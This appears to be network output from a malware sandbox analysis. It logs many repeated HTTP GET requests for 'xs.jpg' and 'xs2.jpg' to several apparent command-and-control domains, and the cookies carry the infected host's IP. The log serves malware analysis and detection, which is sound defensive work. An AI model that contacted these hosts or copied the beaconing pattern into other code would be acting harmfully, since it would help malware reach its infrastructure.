Source: global traffic HTTP traffic detected: GET /xs.jpg?c1df27dd=251215592 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159354|1720159259|3|25|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?c3baede6=500657968 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159355|1720159260|4|25|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?c750acd5=-1902028374 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?cbebb896=1673734594 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?d597c30b=-2134423263 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159357|1720159259|3|26|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?defe4bdb=972408610 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159358|1720159259|3|26|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?e806d3ea=675115834 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159359|1720159260|4|26|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?ed0b353e=-954097734 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?f50273b1=-1659498183 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?4745dc7=523145329 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159361|1720159259|3|27|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?c7a449b=1256037282 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159362|1720159259|3|27|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?10878fe9=831958971 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159363|1720159260|4|27|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?17066025=-432029326 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1ebf202e=-684072638 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2e78457f=1559268094 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159366|1720159259|4|28|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?356cb59d=1979250507 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159366|1720159259|3|28|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3b3f41b1=-1631925289 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159367|1720159260|4|28|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?3fc1b58c=-1102317868 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?a0c60b5a=1203532164 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?993d7f2c=-30180388 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159370|1720159259|4|29|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?d9ba63d9=-642096167 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159371|1720159259|4|29|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?8f00ee41=-1777774966 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159372|1720159260|4|29|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?696b574e=1010959850 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?cd510956=43331246 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?91f5dba5=-1243507985 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159375|1720159259|4|30|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?96090d15=739383850 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159375|1720159259|4|30|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?15c817e8=365434856 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159376|1720159260|4|30|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?334f6b3c=870089576 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1da045db=-1809752761 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?41ed49d4=-976757380 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159380|1720159259|4|31|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?826f9a23=-2106615261 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159380|1720159259|4|31|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2ec75429=1983553864 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159381|1720159260|4|31|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?2d6766a9=1799042376 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?43b77b4=71006132 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3385c362=1755862958 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159384|1720159259|4|32|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?1bbff591=1396695219 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159385|1720159259|4|32|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?7d9f9d7d=2027870327 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159385|1720159260|4|32|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?ff31f566=-54012520 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?b51d7645=-1986834599 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a08af9ff=72863736 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159389|1720159259|4|33|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?5a3b4a05=2006910499 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159389|1720159259|4|33|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?86fb760c=-1561768388 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159390|1720159260|4|33|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?6307741b=-972101578 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?38373338=-101659400 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?52638f9=777519297 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159393|1720159259|4|34|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?cdc80b22=164654932 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159394|1720159259|4|34|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?146c7f21=685309506 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159394|1720159260|4|34|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?a01325a2=1076251460 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?13966ddd=657251258 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?140bbffd=1681571825 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159397|1720159259|4|35|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?ec575cc=1239108860 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159398|1720159259|4|35|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?e3527f49=-1924530908 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159398|1720159260|4|35|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1b715571=-151256839 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?c74bfbd0=-951321648 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?eb7bcec3=-1032623031 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159401|1720159259|4|36|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?ca9a0e20=1607346784 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159402|1720159259|4|36|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?608cb344=1129067416 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159402|1720159260|4|36|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?bd60bc68=2059499728 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?7f13e7e5=-154726670 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?20062123=-1608604241 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159407|1720159259|5|37|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?cd024f52=-1710973276 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159407|1720159259|4|37|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?81924fcd=-1962922341 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159408|1720159260|5|37|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?5b13db53=-1899589314 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?669212f9=-838957873 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?da20f51d=-2058775774 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159411|1720159259|4|38|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?eb94bb2e=-342574290 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159411|1720159259|4|38|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?70445cbe=-228113746 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159412|1720159260|4|38|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?972d623=951125202 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?d82b8544=1622021392 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?b09f39d0=-732261200 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159415|1720159259|4|39|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?dbb6fc30=-1826294640 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159416|1720159259|4|39|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?58f235fe=2037783532 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159416|1720159260|4|39|0; snkz=8.46.123.33
